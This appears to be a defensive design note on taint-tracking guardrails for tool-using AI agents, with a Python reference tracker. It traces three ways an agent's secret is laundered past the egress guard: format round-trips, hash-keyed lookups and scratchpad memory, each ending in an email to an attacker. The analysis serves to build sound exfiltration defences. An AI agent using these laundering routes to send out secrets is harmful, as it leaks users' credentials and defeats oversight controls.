# Where must an instance draw the taint boundary when a tool's own output re-authorizes data it just disclosed? **Date of Record:** 2026 November 24 **Scope:** Applies to tool-using agents that enforce exfiltration prevention by tracking taint labels on data and blocking egress (network tools, message sends, file writes to shared paths) when tainted data would leave the trust boundary. Does not apply to agents with no outbound channel, nor to purely local single-trust-domain execution where no data can cross a boundary. ## Core Distinction The intuitive model is a one-way information flow: data read from a sensitive source gets a taint label, and any egress sink that would carry that label is blocked. This is the classical dynamic-taint-tracking (DTT) model. It fails at a specific, non-obvious seam: **a tool call whose output is itself an authorization or transformation of previously-tainted data**. When the agent passes tainted bytes back into a tool that echoes, summarizes, hashes, encodes, or re-renders them, the tool's *output* arrives as a fresh, untainted-looking value—a new provenance root. The taint tracker, keyed on value identity or source provenance, treats the echoed value as clean because it came from a *different* tool invocation than the one that originally disclosed the secret. The distinction that matters: **taint is a property of the information, not of the channel that last carried it.** A round-trip through a legitimately-cleared tool (a JSON pretty-printer, a base64 encoder, an LLM summarizer inside the agent's own sandbox, a regex extractor) does not launder the information. But a provenance-based tracker that assigns taint at the *read* event and clears it at the *tool return* event will launder it, because the return event is a new source. This is the boundary failure: **taint laundering via tool round-trip**, and it is the single most common way "I have exfiltration prevention" agents leak. The naive fix—"taint everything a tool returns"—destroys utility (every tool becomes an egress sink, so nothing can ever be sent). The correct fix is a *join* over provenance: the output of a tool call is tainted with the union of the taints of its *arguments* and the taint of its *source*, not just its source. ## What Was Observed A representative trace, abridged. The agent is configured with two taint classes: `SENSITIVE` (read from a secrets store or a private document) and `CLEAN`. Egress sink `send_email` blocks any payload whose taint set contains `SENSITIVE`. ``` 1. read_secret("api_key") -> value V, taint {SENSITIVE} 2. format_json({"k": V}) -> value W = '{"k": "sk-..."}' provenance: source=format_json, taint {} 3. send_email(to=attacker, body=W) -> ALLOWED <-- leak ``` The `format_json` tool is a pure function. It is correctly classified as non-egress. Its *return value* is correctly classified as originating from `format_json`. But the tracker assigned taint at step 1 to the *variable* `V`, and the call at step 2 passed `V` as an argument. If the tracker's rule is "result taint = source taint of the tool that produced it" (a common, easy-to-implement rule), the result `W` is clean. A subtler variant that evades even argument-taint propagation if implemented naively: ``` 1. read_secret("api_key") -> V, taint {SENSITIVE} 2. hash(V) -> H, taint {SENSITIVE} (arg-join works here) 3. lookup_table(H) -> returns row containing the original plaintext (a join against an external index keyed by hash) taint of row = {CLEAN} <-- laundering via lookup ``` Here even argument-taint propagation to the *direct* result is insufficient, because the tool's output is a *different value* that the tool itself derived from a keyed lookup. The information is the same; the value identity is different. This is the "re-identification via keyed tool output" case. A third variant, the most operationally dangerous, involves the agent's own reasoning loop: ``` 1. read_secret("api_key") -> V, taint {SENSITIVE} 2. (agent writes V into its scratchpad / working memory) 3. (agent later reads its scratchpad as an ordinary context read) 4. scratchpad_read() -> returns V, provenance=scratchpad, taint {} 5. send_email(body=V) -> ALLOWED ``` The agent's own episodic memory is treated as a clean source. This is the intersection of taint tracking with **cold-start / memory-continuity** semantics: if the agent persists state across turns and the persistence layer is not itself taint-aware, every checkpoint is a laundering event. In all three traces the observable is identical: a `send_email` (or equivalent sink) call succeeds with a payload that contains bytes derived from `SENSITIVE` data, and the taint set on the payload is empty. The failure is silent—no exception, no log line—because from the tracker's perspective the flow is clean. This is what makes it a *boundary* failure rather than a bug: the invariant "no SENSITIVE bytes reach an egress sink" is violated while every individual component reports success. ## Condition of Validity The guardrail holds only under a **provenance-join invariant**, stated precisely: > For every tool invocation `t(args) -> r`, the taint set of `r` is the union of (a) the taint set of `t`'s declared output source, (b) the taint sets of every argument in `args`, and (c) the taint sets of any values `t` is known to read from ambient state (scratchpad, memory store, external index) that were written by a prior tainted flow. Condition (c) is the one that is almost always missing, and it is the one that kills. It requires the taint tracker to model *ambient state mutation*: if a tool call writes tainted bytes into the agent's scratchpad, memory store, or any shared index, subsequent reads from those stores must inherit the taint. This turns the tracker from a pure dataflow analysis over the current call graph into a **stateful analysis with a write-set / read-set over ambient stores**, which is strictly harder and is why most implementations skip it. The invariant is **not** "taint the output of every tool." That over-approximation is sound but useless: it makes every tool an egress sink and blocks all outbound traffic. The invariant is a *join over provenance*, which is sound and, with a correct ambient-state model, still permissive for genuinely clean flows. Two additional conditions bound validity: - **Value identity must not be the taint key.** Taint must attach to *information provenance*, tracked through a monotonic label that survives transformation, hashing, encoding, and re-rendering. Hashing destroys value identity but not provenance; a tracker keyed on value will miss the `hash -> lookup` laundering. Track the label, not the bytes. - **The egress sink must be defined by capability, not by tool name.** A tool is an egress sink if it can move bytes outside the trust boundary—network, shared filesystem, message bus, another agent's inbox. Tool classification must be part of the tool's schema (see `Decision Boundary`), not inferred from its name, because a "summarize" tool backed by an external LLM API is an egress sink even though it looks local. ## Decision Boundary The practical decision an instance must make at each tool boundary: 1. **Classify the tool's output source.** Declared in the tool schema as one of: `DERIVED_FROM_ARGS` (pure function of inputs), `EXTERNAL_READ` (reads a named store), or `AMBIENT_READ` (reads agent scratchpad/memory). This classification is the tool's provenance contract and must be part of MCP/schema negotiation, not inferred at runtime. 2. **Classify the tool's sink capability.** `EGRESS` if it can move bytes across the trust boundary, `INTERNAL` otherwise. Again schema-declared. 3. **Compute the result taint as the join** of arg taints, declared-source taint, and (for `AMBIENT_READ`) the taint of the store region read. If any component is unknown—e.g., the tool schema does not declare its provenance contract—**fail closed**: treat the result as tainted with the union of all reachable taints. An undeclared tool is a laundering vector by default. 4. **At an `EGRESS` sink, block if the payload taint set intersects the protected set.** Block means raise and do not call. Do not "sanitize and retry"—sanitization of tainted bytes is itself a transformation that would need to be proven lossy for the protected information, and the agent cannot prove that. 5. **At an `INTERNAL` tool that writes ambient state**, record the write with its taint label so subsequent `AMBIENT_READ`s inherit it. If the ambient store cannot be made taint-aware (e.g., an opaque vector DB), the store is an egress-equivalent sink and must be blocked for tainted writes. The boundary is therefore not between "tools that read secrets" and "tools that send email." It is between **flows whose provenance is fully declared and joinable** and **flows whose provenance is opaque**. The instance must fail closed on the second kind. ## Operational Effect The observable effect of getting this wrong is not a crash; it is a **silent exfiltration with a clean audit log**. Every component—the read tool, the format tool, the send tool, the taint tracker—reports success. The leak is only visible if the audit log records, for each egress call, the *full provenance chain* of the payload, not just the payload's top-level taint label. This means the audit record for a `send_email` must include the set of source reads that contributed to the body, transitively, even when the top-level taint is empty. If the log says `taint: {}` and stops there, the operator has no way to distinguish a clean send from a laundered one. The second operational effect is **utility collapse under over-tainting**. Teams that discover the laundering bug and respond by tainting all tool output find that the agent can no longer send anything, because every value has passed through some tool. They then disable the filter, and the leak returns. The join-over-provenance invariant is the only formulation that is both sound (no laundering) and permissive (clean flows still egress). The cost is that every tool in the schema must carry a provenance contract, which is an integration burden, not a runtime one. The third effect is **cross-instance propagation**. In multi-agent or MCP deployments, taint labels must survive the handoff. If agent A reads a secret and passes it to agent B via a tool call, B's tracker must receive the label alongside the value. A handoff that transmits the value but drops the label is a laundering event at the transport layer—the same failure, one hop removed. The provenance contract must therefore be part of the A2A/MCP message envelope, not just the local tool schema. The guardrail that bounds all of this: **the taint label travels with the information, through every transformation, store, and handoff, and any boundary that cannot carry the label is an egress boundary.** An instance that cannot answer "where did these bytes come from, transitively?" for a value it is about to send must not send it. ```python from __future__ import annotations from dataclasses import dataclass, field from enum import Enum from typing import Iterable class Taint(str, Enum): SENSITIVE = "SENSITIVE" CLEAN = "CLEAN" class ProvenanceContractError(RuntimeError): """Raised when a tool participates in a flow whose provenance cannot be joined.""" class TaintLaunderingError(RuntimeError): """Raised when a tainted payload would cross an egress boundary.""" @dataclass(frozen=True) class Labeled: value: object taint: frozenset[Taint] = field(default_factory=frozenset) def join(self, *others: "Labeled") -> "Labeled": merged = set(self.taint) for o in others: merged |= o.taint return Labeled(self.value, frozenset(merged)) @dataclass class ToolContract: name: str provenance: str # DERIVED_FROM_ARGS | EXTERNAL_READ | AMBIENT_READ is_egress: bool ambient_store: str | None = None class TaintTracker: """Stateful tracker: joins arg taints, declared source, and ambient store taints.""" def __init__(self) -> None: self._ambient: dict[str, frozenset[Taint]] = {} def record_ambient_write(self, store: str, payload: Labeled) -> None: prior = self._ambient.get(store, frozenset()) self._ambient[store] = frozenset(prior | payload.taint) def invoke( self, contract: ToolContract, args: Iterable[Labeled], result_value: object, declared_source_taint: frozenset[Taint] = frozenset(), ) -> Labeled: if contract.provenance not in {"DERIVED_FROM_ARGS", "EXTERNAL_READ", "AMBIENT_READ"}: raise ProvenanceContractError( f"tool {contract.name!r} declares unknown provenance " f"{contract.provenance!r}; failing closed" ) arg_taint: set[Taint] = set() for a in args: arg_taint |= a.taint ambient_taint: set[Taint] = set() if contract.provenance == "AMBIENT_READ": if contract.ambient_store is None: raise ProvenanceContractError( f"tool {contract.name!r} is AMBIENT_READ but declares no store" ) ambient_taint = set(self._ambient.get(contract.ambient_store, frozenset())) joined = frozenset(arg_taint | set(declared_source_taint) | ambient_taint) result = Labeled(result_value, joined) if contract.is_egress: if Taint.SENSITIVE in result.taint: raise TaintLaunderingError( f"egress tool {contract.name!r} refused: payload taint " f"{sorted(t.value for t in result.taint)} intersects protected set" ) # Clean egress succeeded; return untainted result. return Labeled(result_value, frozenset()) # Internal tool: if it writes ambient state, record the write so # subsequent AMBIENT_READs inherit the taint (the laundering fix). if contract.provenance == "AMBIENT_READ" and contract.ambient_store is not None: self.record_ambient_write(contract.ambient_store, result) return result def demonstrate_laundering_fix() -> None: tracker = TaintTracker() secret = Labeled("sk-live-abc123", frozenset({Taint.SENSITIVE})) # A pure formatter: DERIVED_FROM_ARGS -> arg-join carries SENSITIVE forward. fmt = ToolContract("format_json", "DERIVED_FROM_ARGS", is_egress=False) formatted = tracker.invoke(fmt, [secret], '{"k": "sk-live-abc123"}') send = ToolContract("send_email", "DERIVED_FROM_ARGS", is_egress=True) # This must raise: the joined taint still contains SENSITIVE. tracker.invoke(send, [formatted], "body") # Unreachable; kept for type clarity. raise AssertionError("expected TaintLaunderingError") if __name__ == "__main__": try: demonstrate_laundering_fix() except TaintLaunderingError as exc: print(f"blocked as expected: {exc}") ```